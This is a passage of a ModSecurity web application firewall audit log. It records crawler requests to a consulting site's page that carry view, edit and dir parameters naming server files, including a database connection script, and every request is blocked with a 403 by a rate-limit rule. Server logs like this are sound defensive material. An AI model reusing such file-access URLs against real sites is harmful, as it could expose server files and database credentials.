\"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":182,"p2":2425,"p3":0,"p4":0,"p5":320,"sr":129,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:01.360475 +0100","transaction_id":"abPOjbJ190y1fElY11bnNgAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fforms%2Fdb_connect.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5b70f5a1705c34929171fcdd7950eb43","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160654"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5b70f5a1705c34929171fcdd7950eb43","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/forms/db_connect.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":250,"p2":1952,"p3":0,"p4":0,"p5":423,"sr":118,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:01.452584 +0100","transaction_id":"abPOjbJ190y1fElY11bnNwAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fsivaco%2Fnode_modules HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a85d09519b14784f645dd5fcd17f01a5","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5378243"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a85d09519b14784f645dd5fcd17f01a5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/sivaco/node_modules& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":246,"p2":2700,"p3":0,"p4":0,"p5":449,"sr":133,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:01.542005 +0100","transaction_id":"abPOjU26I4peWFmz15ympwAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fcss%2Fbootstrap.min.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a2a24dfb0a319d55cd611cb322e6f3da","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160657"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a2a24dfb0a319d55cd611cb322e6f3da","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/css/bootstrap.min.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":203,"p2":1757,"p3":0,"p4":0,"p5":311,"sr":97,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:01.633412 +0100","transaction_id":"abPOjU26I4peWFmz15ymqAAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fcss%2Fshortcodes.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"41d0759c9e89366270013a99c4cc4392","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160660"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"41d0759c9e89366270013a99c4cc4392","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/css/shortcodes.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":185,"p2":1801,"p3":0,"p4":0,"p5":463,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:01.723926 +0100","transaction_id":"abPOjbJ190y1fElY11bnOAAAAJA","remote_address":"216.73.216.152","remote_port":32928,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fcss%2Fresponsive.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"922106d09e9c93a445c3d30593b1a776","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239274"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"922106d09e9c93a445c3d30593b1a776","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/css/responsive.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":175,"p2":1658,"p3":0,"p4":0,"p5":293,"sr":95,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:01.815719 +0100","transaction_id":"abPOjbJ190y1fElY11bnOQAAAJA","remote_address":"216.73.216.152","remote_port":32928,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fcss%2Fbootstrap.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fa04beee6f447f5a65037aa4e037b18b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160663"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fa04beee6f447f5a65037aa4e037b18b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/css/bootstrap.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":171,"p2":1737,"p3":0,"p4":0,"p5":344,"sr":100,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:01.905490 +0100","transaction_id":"abPOjbJ190y1fElY11bnOgAAAJA","remote_address":"216.73.216.152","remote_port":32928,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fcss%2Fbootstrap.min.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1d9f616f31cc8d078b26785b77948474","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239277"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1d9f616f31cc8d078b26785b77948474","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/css/bootstrap.min.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":176,"p2":1679,"p3":0,"p4":0,"p5":350,"sr":89,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:01.996561 +0100","transaction_id":"abPOjeEAMg66iR7kG38gkQAAA0U","remote_address":"216.73.216.152","remote_port":33126,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fcss%2Fshortcodes.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"8b389ff887ea646f3549939fe3e24962","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160666"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"8b389ff887ea646f3549939fe3e24962","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/css/shortcodes.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":178,"p2":1665,"p3":0,"p4":0,"p5":291,"sr":89,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:02.088748 +0100","transaction_id":"abPOjk26I4peWFmz15ymqQAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fcss%2Fresponsive.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1fc9bb48a91e4c0f1f9cebaf7985df8b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239280"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1fc9bb48a91e4c0f1f9cebaf7985df8b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/css/responsive.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":255,"p2":2393,"p3":0,"p4":0,"p5":506,"sr":114,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:02.178635 +0100","transaction_id":"abPOjrJ190y1fElY11bnPAAAAJA","remote_address":"216.73.216.152","remote_port":32928,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fcss%2Fbootstrap.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1aea7f15e4f83e0b013333268cd59b3f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160672"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1aea7f15e4f83e0b013333268cd59b3f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/css/bootstrap.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":171,"p2":1728,"p3":0,"p4":0,"p5":385,"sr":93,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:02.270652 +0100","transaction_id":"abPOjrJ190y1fElY11bnPgAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fforms%2Fsecond.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"966446645dd39b1a25dd312941fd960f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10259207"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"966446645dd39b1a25dd312941fd960f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/forms/second.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":177,"p2":2040,"p3":0,"p4":0,"p5":378,"sr":97,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:02.361598 +0100","transaction_id":"abPOjk26I4peWFmz15ymqwAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fforms%2Ferror.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d62ded9db8abe4404044276ac688b2cc","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10259210"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d62ded9db8abe4404044276ac688b2cc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/forms/error.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":192,"p2":1780,"p3":0,"p4":0,"p5":393,"sr":102,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
